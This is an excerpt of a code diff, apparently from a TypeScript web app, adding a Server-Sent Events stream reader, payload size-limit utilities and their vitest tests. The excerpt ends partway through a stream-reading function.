||||
it('routes unparseable payloads to onParseError and continues', async () => {
|
||||
const stream = streamFromStringChunks(['data: not-json\n\n', 'data: {"n":2}\n\n'])
|
||||
const events: number[] = []
|
||||
const onParseError = vi.fn()
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
onParseError,
|
||||
})
|
||||
expect(events).toEqual([2])
|
||||
expect(onParseError).toHaveBeenCalledTimes(1)
|
||||
expect(onParseError).toHaveBeenCalledWith('not-json', expect.any(Error))
|
||||
})
|
||||
|
||||
it('stops early when onEvent returns true', async () => {
|
||||
const stream = streamFromStringChunks([
|
||||
'data: {"n":1}\n\n',
|
||||
'data: {"n":2}\n\n',
|
||||
'data: {"n":3}\n\n',
|
||||
])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
return e.n === 2
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1, 2])
|
||||
})
|
||||
|
||||
it('does not process events once the signal is aborted', async () => {
|
||||
const controller = new AbortController()
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\n\n', 'data: {"n":2}\n\n'])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
signal: controller.signal,
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
controller.abort()
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1])
|
||||
})
|
||||
|
||||
it('returns immediately when the signal is already aborted', async () => {
|
||||
const controller = new AbortController()
|
||||
controller.abort()
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\n\n'])
|
||||
const onEvent = vi.fn()
|
||||
await readSSEEvents(stream, { signal: controller.signal, onEvent })
|
||||
expect(onEvent).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('releases the reader lock for a stream source', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\n\n'])
|
||||
await readSSEEvents<{ n: number }>(stream, { onEvent: () => {} })
|
||||
expect(() => stream.getReader()).not.toThrow()
|
||||
})
|
||||
|
||||
it('does not release the lock for a reader source', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"n":1}\n\n'])
|
||||
const reader = stream.getReader()
|
||||
await readSSEEvents<{ n: number }>(reader, { onEvent: () => {} })
|
||||
expect(() => stream.getReader()).toThrow()
|
||||
reader.releaseLock()
|
||||
})
|
||||
|
||||
it('accepts a Response source', async () => {
|
||||
const response = new Response(streamFromStringChunks(['data: {"n":7}\n\n']))
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(response, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([7])
|
||||
})
|
||||
|
||||
it('silently skips unparseable payloads when no onParseError is provided', async () => {
|
||||
const stream = streamFromStringChunks(['data: not-json\n\n', 'data: {"n":2}\n\n'])
|
||||
const events: number[] = []
|
||||
await expect(
|
||||
readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
})
|
||||
).resolves.toBeUndefined()
|
||||
expect(events).toEqual([2])
|
||||
})
|
||||
|
||||
it('surfaces a fatal parse error when onParseError throws', async () => {
|
||||
const stream = streamFromStringChunks(['data: not-json\n\n', 'data: {"n":2}\n\n'])
|
||||
const events: number[] = []
|
||||
await expect(
|
||||
readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: (e) => {
|
||||
events.push(e.n)
|
||||
},
|
||||
onParseError: () => {
|
||||
throw new Error('boom')
|
||||
},
|
||||
})
|
||||
).rejects.toThrow('boom')
|
||||
expect(events).toEqual([])
|
||||
})
|
||||
|
||||
it('stops early when onEvent resolves true asynchronously', async () => {
|
||||
const stream = streamFromStringChunks([
|
||||
'data: {"n":1}\n\n',
|
||||
'data: {"n":2}\n\n',
|
||||
'data: {"n":3}\n\n',
|
||||
])
|
||||
const events: number[] = []
|
||||
await readSSEEvents<{ n: number }>(stream, {
|
||||
onEvent: async (e) => {
|
||||
events.push(e.n)
|
||||
return e.n === 2
|
||||
},
|
||||
})
|
||||
expect(events).toEqual([1, 2])
|
||||
})
|
||||
|
||||
it('throws "No response body" for a Response without a body', async () => {
|
||||
const response = new Response(null)
|
||||
await expect(readSSEEvents(response, { onEvent: () => {} })).rejects.toThrow('No response body')
|
||||
})
|
||||
})
|
||||
|
||||
describe('readSSELines', () => {
|
||||
it('delivers raw (un-parsed) data payloads', async () => {
|
||||
const stream = streamFromStringChunks(['data: raw-one\n\n', 'data: {"keep":"asString"}\n\n'])
|
||||
const lines: string[] = []
|
||||
await readSSELines(stream, {
|
||||
onData: (raw) => {
|
||||
lines.push(raw)
|
||||
},
|
||||
})
|
||||
expect(lines).toEqual(['raw-one', '{"keep":"asString"}'])
|
||||
})
|
||||
|
||||
it('skips [DONE] and blank separator lines', async () => {
|
||||
const stream = streamFromStringChunks(['data: a\n\ndata: b\n\ndata: [DONE]\n\n'])
|
||||
const lines: string[] = []
|
||||
await readSSELines(stream, {
|
||||
onData: (raw) => {
|
||||
lines.push(raw)
|
||||
},
|
||||
})
|
||||
expect(lines).toEqual(['a', 'b'])
|
||||
})
|
||||
|
||||
it('preserves the raw payload verbatim (no JSON parsing)', async () => {
|
||||
const stream = streamFromStringChunks(['data: {"unterminated\n\n', 'data:no-space\n\n'])
|
||||
const lines: string[] = []
|
||||
await readSSELines(stream, {
|
||||
onData: (raw) => {
|
||||
lines.push(raw)
|
||||
},
|
||||
})
|
||||
expect(lines).toEqual(['{"unterminated', 'no-space'])
|
||||
})
|
||||
|
||||
it('strips a trailing carriage return from each line', async () => {
|
||||
const stream = streamFromStringChunks(['data: one\r\n\r\ndata: two\r\n\r\n'])
|
||||
const lines: string[] = []
|
||||
await readSSELines(stream, {
|
||||
onData: (raw) => {
|
||||
lines.push(raw)
|
||||
},
|
||||
})
|
||||
expect(lines).toEqual(['one', 'two'])
|
||||
})
|
||||
|
||||
it('stops early when onData returns true', async () => {
|
||||
const stream = streamFromStringChunks(['data: a\n\ndata: b\n\ndata: c\n\n'])
|
||||
const lines: string[] = []
|
||||
await readSSELines(stream, {
|
||||
onData: (raw) => {
|
||||
lines.push(raw)
|
||||
return raw === 'b'
|
||||
},
|
||||
})
|
||||
expect(lines).toEqual(['a', 'b'])
|
||||
})
|
||||
|
||||
it('does not deliver any line when the signal is already aborted', async () => {
|
||||
const controller = new AbortController()
|
||||
controller.abort()
|
||||
const stream = streamFromStringChunks(['data: a\n\n'])
|
||||
const onData = vi.fn()
|
||||
await readSSELines(stream, { signal: controller.signal, onData })
|
||||
expect(onData).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('stops between events in the same chunk once aborted mid-stream', async () => {
|
||||
const controller = new AbortController()
|
||||
const stream = streamFromStringChunks(['data: a\n\ndata: b\n\ndata: c\n\n'])
|
||||
const lines: string[] = []
|
||||
await readSSELines(stream, {
|
||||
signal: controller.signal,
|
||||
onData: (raw) => {
|
||||
lines.push(raw)
|
||||
if (raw === 'a') controller.abort()
|
||||
},
|
||||
})
|
||||
expect(lines).toEqual(['a'])
|
||||
})
|
||||
|
||||
it('releases the lock for a stream source', async () => {
|
||||
const stream = streamFromStringChunks(['data: a\n\n'])
|
||||
await readSSELines(stream, { onData: () => {} })
|
||||
expect(() => stream.getReader()).not.toThrow()
|
||||
})
|
||||
|
||||
it('does not release the lock for a reader source', async () => {
|
||||
const stream = streamFromStringChunks(['data: a\n\n'])
|
||||
const reader = stream.getReader()
|
||||
await readSSELines(reader, { onData: () => {} })
|
||||
expect(() => stream.getReader()).toThrow()
|
||||
reader.releaseLock()
|
||||
})
|
||||
|
||||
it('releases the lock for a stream source even when onData throws', async () => {
|
||||
const stream = streamFromStringChunks(['data: a\n\n'])
|
||||
await expect(
|
||||
readSSELines(stream, {
|
||||
onData: () => {
|
||||
throw new Error('handler failed')
|
||||
},
|
||||
})
|
||||
).rejects.toThrow('handler failed')
|
||||
expect(() => stream.getReader()).not.toThrow()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,271 @@
|
||||
/**
|
||||
* Standard headers for Server-Sent Events responses
|
||||
*/
|
||||
export const SSE_HEADERS = {
|
||||
'Content-Type': 'text/event-stream',
|
||||
'Cache-Control': 'no-cache',
|
||||
Connection: 'keep-alive',
|
||||
'X-Accel-Buffering': 'no',
|
||||
} as const
|
||||
|
||||
/**
|
||||
* Encodes data as a Server-Sent Events (SSE) message.
|
||||
* Formats the data as a JSON string prefixed with "data:" and suffixed with two newlines,
|
||||
* then encodes it as a Uint8Array for streaming.
|
||||
*
|
||||
* @param data - The data to encode and send via SSE
|
||||
* @returns The encoded SSE message as a Uint8Array
|
||||
*/
|
||||
export function encodeSSE(data: any): Uint8Array {
|
||||
return new TextEncoder().encode(`data: ${JSON.stringify(data)}\n\n`)
|
||||
}
|
||||
|
||||
/**
|
||||
* The sentinel value servers emit to signal end-of-stream. Lines carrying this
|
||||
* payload are skipped before reaching the consumer's `onEvent` callback.
|
||||
*/
|
||||
const DONE_SENTINEL = '[DONE]'
|
||||
|
||||
/**
|
||||
* A source the SSE reader can consume: a fetch `Response`, its `ReadableStream`
|
||||
* body, or an already-acquired reader. Passing a `Response`/stream lets the
|
||||
* primitive own `getReader()` and the reader lifecycle (lock release); passing a
|
||||
* reader is supported for callers that must acquire it first (e.g. to stash it
|
||||
* for external cancellation).
|
||||
*/
|
||||
export type SSESource =
|
||||
| Response
|
||||
| ReadableStream<Uint8Array>
|
||||
| ReadableStreamDefaultReader<Uint8Array>
|
||||
|
||||
/**
|
||||
* The result of an SSE event/line callback. Only the literal `true` (returned
|
||||
* synchronously or resolved from a `Promise`) stops processing and returns
|
||||
* early — useful for terminal events. Any other value (including the
|
||||
* `undefined` a handler that returns nothing produces) keeps processing.
|
||||
*
|
||||
* Typed as `unknown` rather than `boolean | void | Promise<boolean | void>` so
|
||||
* both sync and `async` handlers — including `async` handlers that return
|
||||
* nothing (`Promise<void>`) — stay assignable, without the confusing
|
||||
* `void`-inside-a-`Promise` union that the precise type would require.
|
||||
*/
|
||||
export type SSEStopSignal = unknown
|
||||
|
||||
/**
|
||||
* Options for {@link readSSELines} — the low-level line engine that delivers the
|
||||
* raw `data:` payload string (no JSON parsing).
|
||||
*/
|
||||
export interface ReadSSELinesOptions {
|
||||
/** Invoked once per SSE `data:` line with the raw (un-parsed) payload string. */
|
||||
onData: (rawData: string) => SSEStopSignal
|
||||
/** Aborts the read; checked before each chunk and between events. */
|
||||
signal?: AbortSignal
|
||||
}
|
||||
|
||||
/**
|
||||
* Options for {@link readSSEEvents} — the JSON convenience layer over
|
||||
* {@link readSSELines}.
|
||||
*/
|
||||
export interface ReadSSEEventsOptions<T> {
|
||||
/**
|
||||
* Invoked once per parsed SSE `data:` event with the JSON-parsed payload.
|
||||
* Return (or resolve) `true` to stop processing and return early. Callers
|
||||
* narrow the typed payload.
|
||||
*/
|
||||
onEvent: (event: T) => SSEStopSignal
|
||||
/**
|
||||
* Invoked for a `data:` line whose payload is not valid JSON. Defaults to
|
||||
* silently skipping the line. Throw from here to surface a fatal parse error.
|
||||
*/
|
||||
onParseError?: (rawData: string, error: unknown) => void
|
||||
/** Aborts the read; checked before each chunk and between events. */
|
||||
signal?: AbortSignal
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves an {@link SSESource} to a reader, reporting whether this call
|
||||
* acquired the lock (and is therefore responsible for releasing it).
|
||||
*/
|
||||
function toReader(source: SSESource): {
|
||||
reader: ReadableStreamDefaultReader<Uint8Array>
|
||||
ownsLock: boolean
|
||||
} {
|
||||
if (source instanceof ReadableStream) {
|
||||
return { reader: source.getReader(), ownsLock: true }
|
||||
}
|
||||
if (source instanceof Response) {
|
||||
if (!source.body) throw new Error('No response body')
|
||||
return { reader: source.body.getReader(), ownsLock: true }
|
||||
}
|
||||
return { reader: source, ownsLock: false }
|
||||
}
|
||||
|
||||
/**
|
||||
* Strips an optional trailing carriage return from a single SSE line, so both
|
||||
* `\n`- and `\r\n`-terminated framings parse identically.
|
||||
*/
|
||||
function stripCarriageReturn(line: string): string {
|
||||
return line.endsWith('\r') ? line.slice(0, -1) : line
|
||||
}
|
||||
|
||||
/**
|
||||
* The single client-side SSE decode engine. Reads a byte stream, decodes it
|
||||
* incrementally, splits it into lines, and invokes `onData` once per `data:`
|
||||
* line with its raw (un-parsed) payload string.
|
||||
*
|
||||
* It splits on `\n` and processes each `data:` line individually, which makes it
|
||||
* tolerant of BOTH `\n`- and `\n\n`-separated framings (the blank separator
|
||||
* lines between events are simply ignored). Trailing `\r` is stripped, a single
|
||||
* optional space after `data:` is consumed, and the `[DONE]` sentinel is
|
||||
* skipped. The reader's lock is always released on completion, abort, or error
|
||||
* (only when this function acquired it).
|
||||
*
|
||||
* This is the low-level engine. Most callers want {@link readSSEEvents}, which
|
||||
* adds JSON parsing on top. Reach for `readSSELines` only when the payload needs
|
||||
* custom parsing (e.g. schema-validated decoding).
|
||||
*
|
||||
* @param source - A `Response`, `ReadableStream`, or stream reader.
|
||||
* @param options - The `onData` callback plus an optional `signal`.
|
||||
*/
|
||||
export async function readSSELines(source: SSESource, options: ReadSSELinesOptions): Promise<void> {
|
||||
const { onData, signal } = options
|
||||
const { reader, ownsLock } = toReader(source)
|
||||
const decoder = new TextDecoder()
|
||||
let buffer = ''
|
||||
|
||||
try {
|
||||
while (true) {
|
||||
if (signal?.aborted) break
|
||||
|
||||
const { done, value } = await reader.read()
|
||||
|
||||
buffer += done ? decoder.decode() : decoder.decode(value, { stream: true })
|
||||
const lines = buffer.split('\n')
|
||||
buffer = done ? '' : (lines.pop() ?? '')
|
||||
|
||||
for (const rawLine of lines) {
|
||||
if (signal?.aborted) return
|
||||
|
||||
const line = stripCarriageReturn(rawLine)
|
||||
if (!line.startsWith('data:')) continue
|
||||
|
||||
let data = line.slice(5)
|
||||
if (data.startsWith(' ')) data = data.slice(1)
|
||||
if (data === DONE_SENTINEL) continue
|
||||
|
||||
if ((await onData(data)) === true) return
|
||||
}
|
||||
|
||||
if (done) break
|
||||
}
|
||||
} finally {
|
||||
if (ownsLock) reader.releaseLock()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The JSON convenience layer over {@link readSSELines}: invokes `onEvent` once
|
||||
* per `data:` event with its JSON-parsed payload. Unparseable lines are passed
|
||||
* to `onParseError` (default: silently skipped). All framing, `\r`, `[DONE]`,
|
||||
* abort, and reader-lifecycle behavior is inherited from `readSSELines`.
|
||||
*
|
||||
* Higher-level concerns — UI batching, reconnect, error classification, event
|
||||
* dispatch — belong in the caller's `onEvent`, not here.
|
||||
*
|
||||
* @typeParam T - The parsed event type the caller expects (defaults to `unknown`).
|
||||
* @param source - A `Response`, `ReadableStream`, or stream reader.
|
||||
* @param options - The `onEvent` callback plus optional `signal`/`onParseError`.
|
||||
*/
|
||||
export async function readSSEEvents<T = unknown>(
|
||||
source: SSESource,
|
||||
options: ReadSSEEventsOptions<T>
|
||||
): Promise<void> {
|
||||
const { onEvent, onParseError, signal } = options
|
||||
await readSSELines(source, {
|
||||
signal,
|
||||
onData: (data) => {
|
||||
let parsed: T
|
||||
try {
|
||||
parsed = JSON.parse(data) as T
|
||||
} catch (error) {
|
||||
onParseError?.(data, error)
|
||||
return
|
||||
}
|
||||
return onEvent(parsed)
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* Options for reading SSE stream
|
||||
*/
|
||||
export interface ReadSSEStreamOptions {
|
||||
onChunk?: (chunk: string) => void
|
||||
onAccumulated?: (accumulated: string) => void
|
||||
signal?: AbortSignal
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads and parses an SSE stream from a Response body.
|
||||
* Handles the wand API SSE format with data chunks and done signals.
|
||||
*
|
||||
* @param body - The ReadableStream body from a fetch Response
|
||||
* @param options - Callbacks for handling stream data
|
||||
* @returns The accumulated content from the stream
|
||||
*/
|
||||
export async function readSSEStream(
|
||||
body: ReadableStream<Uint8Array>,
|
||||
options: ReadSSEStreamOptions = {}
|
||||
): Promise<string> {
|
||||
const { onChunk, onAccumulated, signal } = options
|
||||
const reader = body.getReader()
|
||||
const decoder = new TextDecoder()
|
||||
let accumulatedContent = ''
|
||||
let buffer = ''
|
||||
|
||||
try {
|
||||
while (true) {
|
||||
if (signal?.aborted) {
|
||||
break
|
||||
}
|
||||
|
||||
const { done, value } = await reader.read()
|
||||
|
||||
if (done) {
|
||||
const remaining = decoder.decode()
|
||||
if (remaining) {
|
||||
buffer += remaining
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
buffer += decoder.decode(value, { stream: true })
|
||||
const lines = buffer.split('\n\n')
|
||||
buffer = lines.pop() || ''
|
||||
|
||||
for (const line of lines) {
|
||||
if (line.startsWith('data: ')) {
|
||||
const lineData = line.substring(6)
|
||||
if (lineData === '[DONE]') continue
|
||||
|
||||
try {
|
||||
const data = JSON.parse(lineData)
|
||||
if (data.error) throw new Error(data.error)
|
||||
if (data.chunk) {
|
||||
accumulatedContent += data.chunk
|
||||
onChunk?.(data.chunk)
|
||||
onAccumulated?.(accumulatedContent)
|
||||
}
|
||||
if (data.done) break
|
||||
} catch {
|
||||
// Skip unparseable lines
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
reader.releaseLock()
|
||||
}
|
||||
|
||||
return accumulatedContent
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
|
||||
import { Readable } from 'stream'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import {
|
||||
assertContentLengthWithinLimit,
|
||||
PayloadSizeLimitError,
|
||||
readFileToBufferWithLimit,
|
||||
readFormDataWithLimit,
|
||||
readNodeStreamToBufferWithLimit,
|
||||
readResponseJsonWithLimit,
|
||||
readResponseTextWithLimit,
|
||||
readResponseToBufferWithLimit,
|
||||
readStreamToBufferWithLimit,
|
||||
} from '@/lib/core/utils/stream-limits'
|
||||
|
||||
function streamFromChunks(chunks: Uint8Array[]): ReadableStream<Uint8Array> {
|
||||
let index = 0
|
||||
return new ReadableStream({
|
||||
pull(controller) {
|
||||
if (index >= chunks.length) {
|
||||
controller.close()
|
||||
return
|
||||
}
|
||||
controller.enqueue(chunks[index])
|
||||
index += 1
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
function headers(contentLength?: string): Headers {
|
||||
const headers = new Headers()
|
||||
if (contentLength !== undefined) headers.set('content-length', contentLength)
|
||||
return headers
|
||||
}
|
||||
|
||||
describe('stream limits', () => {
|
||||
it('reads a stream under the limit', async () => {
|
||||
const buffer = await readStreamToBufferWithLimit(
|
||||
streamFromChunks([new TextEncoder().encode('hello'), new TextEncoder().encode(' world')]),
|
||||
{ maxBytes: 32, label: 'test payload' }
|
||||
)
|
||||
|
||||
expect(buffer.toString('utf-8')).toBe('hello world')
|
||||
})
|
||||
|
||||
it('rejects when content-length is over the limit', () => {
|
||||
expect(() => assertContentLengthWithinLimit(headers('11'), 10, 'download')).toThrow(
|
||||
PayloadSizeLimitError
|
||||
)
|
||||
})
|
||||
|
||||
it('cancels response bodies when content-length preflight rejects', async () => {
|
||||
const cancelSpy = vi.fn()
|
||||
const body = new ReadableStream<Uint8Array>({
|
||||
cancel: cancelSpy,
|
||||
})
|
||||
|
||||
await expect(
|
||||
readResponseToBufferWithLimit(
|
||||
{
|
||||
headers: headers('11'),
|
||||
body,
|
||||
},
|
||||
{ maxBytes: 10, label: 'download' }
|
||||
)
|
||||
).rejects.toBeInstanceOf(PayloadSizeLimitError)
|
||||
expect(cancelSpy).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('allows content-length exactly at the limit', () => {
|
||||
expect(() => assertContentLengthWithinLimit(headers('10'), 10, 'download')).not.toThrow()
|
||||
})
|
||||
|
||||
it('rejects when streamed bytes exceed the limit', async () => {
|
||||
await expect(
|
||||
readStreamToBufferWithLimit(streamFromChunks([new Uint8Array(6), new Uint8Array(5)]), {
|
||||
maxBytes: 10,
|
||||
label: 'download',
|
||||
})
|
||||
).rejects.toMatchObject({
|
||||
name: 'PayloadSizeLimitError',
|
||||
maxBytes: 10,
|
||||
observedBytes: 11,
|
||||
})
|
||||
})
|
||||
|
||||
it('rejects underreported content-length via streamed byte counting', async () => {
|
||||
await expect(
|
||||
readResponseToBufferWithLimit(
|
||||
{
|
||||
headers: headers('5'),
|
||||
body: streamFromChunks([new Uint8Array(6), new Uint8Array(5)]),
|
||||
},
|
||||
{ maxBytes: 10, label: 'download' }
|
||||
)
|
||||
).rejects.toBeInstanceOf(PayloadSizeLimitError)
|
||||
})
|
||||
|
||||
it('returns an empty buffer for a missing body', async () => {
|
||||
const buffer = await readResponseToBufferWithLimit(
|
||||
{ headers: headers('0'), body: null },
|
||||
{ maxBytes: 10, label: 'empty response' }
|
||||
)
|
||||
|
||||
expect(buffer.length).toBe(0)
|
||||
})
|
||||
|
||||
it('reads text and JSON responses with limits', async () => {
|
||||
const text = await readResponseTextWithLimit(
|
||||
{ body: streamFromChunks([new TextEncoder().encode('hello')]) },
|
||||
{ maxBytes: 10, label: 'text response' }
|
||||
)
|
||||
const json = await readResponseJsonWithLimit<{ ok: boolean }>(
|
||||
{ body: streamFromChunks([new TextEncoder().encode('{"ok":true}')]) },
|
||||
{ maxBytes: 20, label: 'json response' }
|
||||
)
|
||||
|
||||
expect(text).toBe('hello')
|
||||
expect(json.ok).toBe(true)
|
||||
})
|
||||
|
||||
it('prefers arrayBuffer over text for binary response fallbacks', async () => {
|
||||
const bytes = Uint8Array.from([0, 255, 1, 254])
|
||||
const arrayBuffer = vi.fn(async () => bytes.buffer)
|
||||
const text = vi.fn(async () => 'corrupted')
|
||||
|
||||
const buffer = await readResponseToBufferWithLimit(
|
||||
{ headers: headers(String(bytes.byteLength)), arrayBuffer, text },
|
||||
{ maxBytes: 10, label: 'binary response' }
|
||||
)
|
||||
|
||||
expect(buffer).toEqual(Buffer.from(bytes))
|
||||
expect(arrayBuffer).toHaveBeenCalled()
|
||||
expect(text).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('rejects no-body response fallbacks without a trusted content-length', async () => {
|
||||
await expect(
|
||||
readResponseToBufferWithLimit(
|
||||
{
|
||||
arrayBuffer: vi.fn(async () => new Uint8Array(1024).buffer),
|
||||
},
|
||||
{ maxBytes: 10, label: 'unknown response' }
|
||||
)
|
||||
).rejects.toBeInstanceOf(PayloadSizeLimitError)
|
||||
})
|
||||
|
||||
it('cancels when the abort signal is already aborted', async () => {
|
||||
const controller = new AbortController()
|
||||
controller.abort(new Error('stop'))
|
||||
const cancelSpy = vi.fn()
|
||||
const stream = new ReadableStream<Uint8Array>({
|
||||
pull(controller) {
|
||||
controller.enqueue(new TextEncoder().encode('content'))
|
||||
},
|
||||
cancel: cancelSpy,
|
||||
})
|
||||
|
||||
await expect(
|
||||
readStreamToBufferWithLimit(stream, {
|
||||
maxBytes: 100,
|
||||
label: 'abortable',
|
||||
signal: controller.signal,
|
||||
})
|
||||
).rejects.toThrow('stop')
|
||||
expect(cancelSpy).toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('checks file size before materializing a File', async () => {
|
||||
const file = new File(['hello'], 'small.txt', { type: 'text/plain' })
|
||||
const buffer = await readFileToBufferWithLimit(file, { maxBytes: 5, label: 'upload file' })
|
||||
|
||||
expect(buffer.toString('utf-8')).toBe('hello')
|
||||
await expect(
|
||||
readFileToBufferWithLimit(file, { maxBytes: 4, label: 'upload file' })
|
||||
).rejects.toBeInstanceOf(PayloadSizeLimitError)
|
||||
})
|
||||
|
||||
it('parses multipart form data without requiring content-length', async () => {
|
||||
const input = new FormData()
|
||||
input.append('name', 'example')
|
||||
const request = new Request('http://localhost/upload', {
|
||||
method: 'POST',
|
||||
body: input,
|
||||
})
|
||||
|
||||
expect(request.headers.get('content-length')).toBeNull()
|
||||
|
||||
const formData = await readFormDataWithLimit(request, {
|
||||
maxBytes: 1024 * 1024,
|
||||
label: 'multipart body',
|
||||
})
|
||||
|
||||
expect(formData.get('name')).toBe('example')
|
||||
})
|
||||
|
||||
it('rejects multipart streams without content-length once bytes exceed the limit', async () => {
|
||||
const request = new Request('http://localhost/upload', {
|
||||
method: 'POST',
|
||||
headers: { 'content-type': 'multipart/form-data; boundary=test' },
|
||||
body: streamFromChunks([new Uint8Array(6), new Uint8Array(5)]),
|
||||
duplex: 'half',
|
||||
} as RequestInit)
|
||||
|
||||
await expect(
|
||||
readFormDataWithLimit(request, { maxBytes: 10, label: 'multipart body' })
|
||||
).rejects.toBeInstanceOf(PayloadSizeLimitError)
|
||||
})
|
||||
|
||||
it('rechecks materialized file bytes after arrayBuffer', async () => {
|
||||
const file = {
|
||||
size: 1,
|
||||
arrayBuffer: vi.fn(async () => new Uint8Array(6).buffer),
|
||||
} as unknown as File
|
||||
|
||||
await expect(
|
||||
readFileToBufferWithLimit(file, { maxBytes: 5, label: 'upload file' })
|
||||
).rejects.toBeInstanceOf(PayloadSizeLimitError)
|
||||
})
|
||||
|
||||
it('rejects node streams that exceed the limit', async () => {
|
||||
await expect(
|
||||
readNodeStreamToBufferWithLimit(Readable.from([Buffer.alloc(6), Buffer.alloc(5)]), {
|
||||
maxBytes: 10,
|
||||
label: 'storage download',
|
||||
})
|
||||
).rejects.toBeInstanceOf(PayloadSizeLimitError)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,341 @@
|
||||
import { toError } from '@sim/utils/errors'
|
||||
|
||||
export const DEFAULT_MAX_ERROR_BODY_BYTES = 64 * 1024
|
||||
|
||||
/**
|
||||
* Slack for multipart boundary/header overhead on top of the intended file
|
||||
* size limit, so legitimate uploads near the limit aren't rejected purely
|
||||
* for encoding overhead.
|
||||
*/
|
||||
export const MAX_MULTIPART_OVERHEAD_BYTES = 1024 * 1024
|
||||
|
||||
export interface PayloadSizeLimitContext {
|
||||
label: string
|
||||
maxBytes: number
|
||||
observedBytes?: number
|
||||
}
|
||||
|
||||
export class PayloadSizeLimitError extends Error {
|
||||
readonly label: string
|
||||
readonly maxBytes: number
|
||||
readonly observedBytes?: number
|
||||
|
||||
constructor({ label, maxBytes, observedBytes }: PayloadSizeLimitContext) {
|
||||
super(
|
||||
observedBytes === undefined
|
||||
? `${label} exceeds maximum size of ${maxBytes} bytes`
|
||||
: `${label} exceeds maximum size of ${maxBytes} bytes (${observedBytes} bytes received)`
|
||||
)
|
||||
this.name = 'PayloadSizeLimitError'
|
||||
this.label = label
|
||||
this.maxBytes = maxBytes
|
||||
this.observedBytes = observedBytes
|
||||
}
|
||||
}
|
||||
|
||||
export function isPayloadSizeLimitError(error: unknown): error is PayloadSizeLimitError {
|
||||
return error instanceof PayloadSizeLimitError
|
||||
}
|
||||
|
||||
export function assertKnownSizeWithinLimit(size: number, maxBytes: number, label: string): void {
|
||||
if (Number.isFinite(size) && size > maxBytes) {
|
||||
throw new PayloadSizeLimitError({ label, maxBytes, observedBytes: size })
|
||||
}
|
||||
}
|
||||
|
||||
function getContentLength(
|
||||
headers: { get(name: string): string | null } | undefined
|
||||
): number | null {
|
||||
const rawLength = headers?.get('content-length')
|
||||
if (!rawLength) return null
|
||||
const parsed = Number.parseInt(rawLength, 10)
|
||||
return Number.isFinite(parsed) && parsed >= 0 ? parsed : null
|
||||
}
|
||||
|
||||
export function assertContentLengthWithinLimit(
|
||||
headers: { get(name: string): string | null } | undefined,
|
||||
maxBytes: number,
|
||||
label: string
|
||||
): void {
|
||||
const contentLength = getContentLength(headers)
|
||||
if (contentLength !== null) {
|
||||
assertKnownSizeWithinLimit(contentLength, maxBytes, label)
|
||||
}
|
||||
}
|
||||
|
||||
export interface ReadFormDataWithLimitRequest {
|
||||
url: string
|
||||
method: string
|
||||
headers?: Headers
|
||||
body?: ReadableStream<Uint8Array> | null
|
||||
formData: () => Promise<FormData>
|
||||
}
|
||||
|
||||
export async function readFormDataWithLimit(
|
||||
request: ReadFormDataWithLimitRequest,
|
||||
options: { maxBytes: number; label: string }
|
||||
): Promise<FormData> {
|
||||
assertContentLengthWithinLimit(request.headers, options.maxBytes, options.label)
|
||||
|
||||
if (request.headers?.get('content-length') || !request.body) {
|
||||
return request.formData()
|
||||
}
|
||||
|
||||
const body = await readStreamToBufferWithLimit(request.body, options)
|
||||
const boundedRequest = new Request(request.url, {
|
||||
method: request.method,
|
||||
headers: request.headers,
|
||||
body: new Uint8Array(body),
|
||||
})
|
||||
return boundedRequest.formData()
|
||||
}
|
||||
|
||||
export interface ReadStreamWithLimitOptions {
|
||||
maxBytes: number
|
||||
label: string
|
||||
signal?: AbortSignal
|
||||
onChunk?: (chunk: Uint8Array, totalBytes: number) => void | Promise<void>
|
||||
}
|
||||
|
||||
export async function readStreamToBufferWithLimit(
|
||||
stream: ReadableStream<Uint8Array> | null | undefined,
|
||||
options: ReadStreamWithLimitOptions
|
||||
): Promise<Buffer> {
|
||||
if (!stream) return Buffer.alloc(0)
|
||||
|
||||
const reader = stream.getReader()
|
||||
const chunks: Buffer[] = []
|
||||
let totalBytes = 0
|
||||
const abortFromSignal = () => {
|
||||
void reader.cancel(options.signal?.reason).catch(() => {})
|
||||
}
|
||||
|
||||
try {
|
||||
if (options.signal?.aborted) {
|
||||
await reader.cancel(options.signal.reason).catch(() => {})
|
||||
throw toError(options.signal.reason ?? new Error('Aborted'))
|
||||
}
|
||||
options.signal?.addEventListener('abort', abortFromSignal, { once: true })
|
||||
|
||||
while (true) {
|
||||
if (options.signal?.aborted) {
|
||||
await reader.cancel(options.signal.reason).catch(() => {})
|
||||
throw toError(options.signal.reason ?? new Error('Aborted'))
|
||||
}
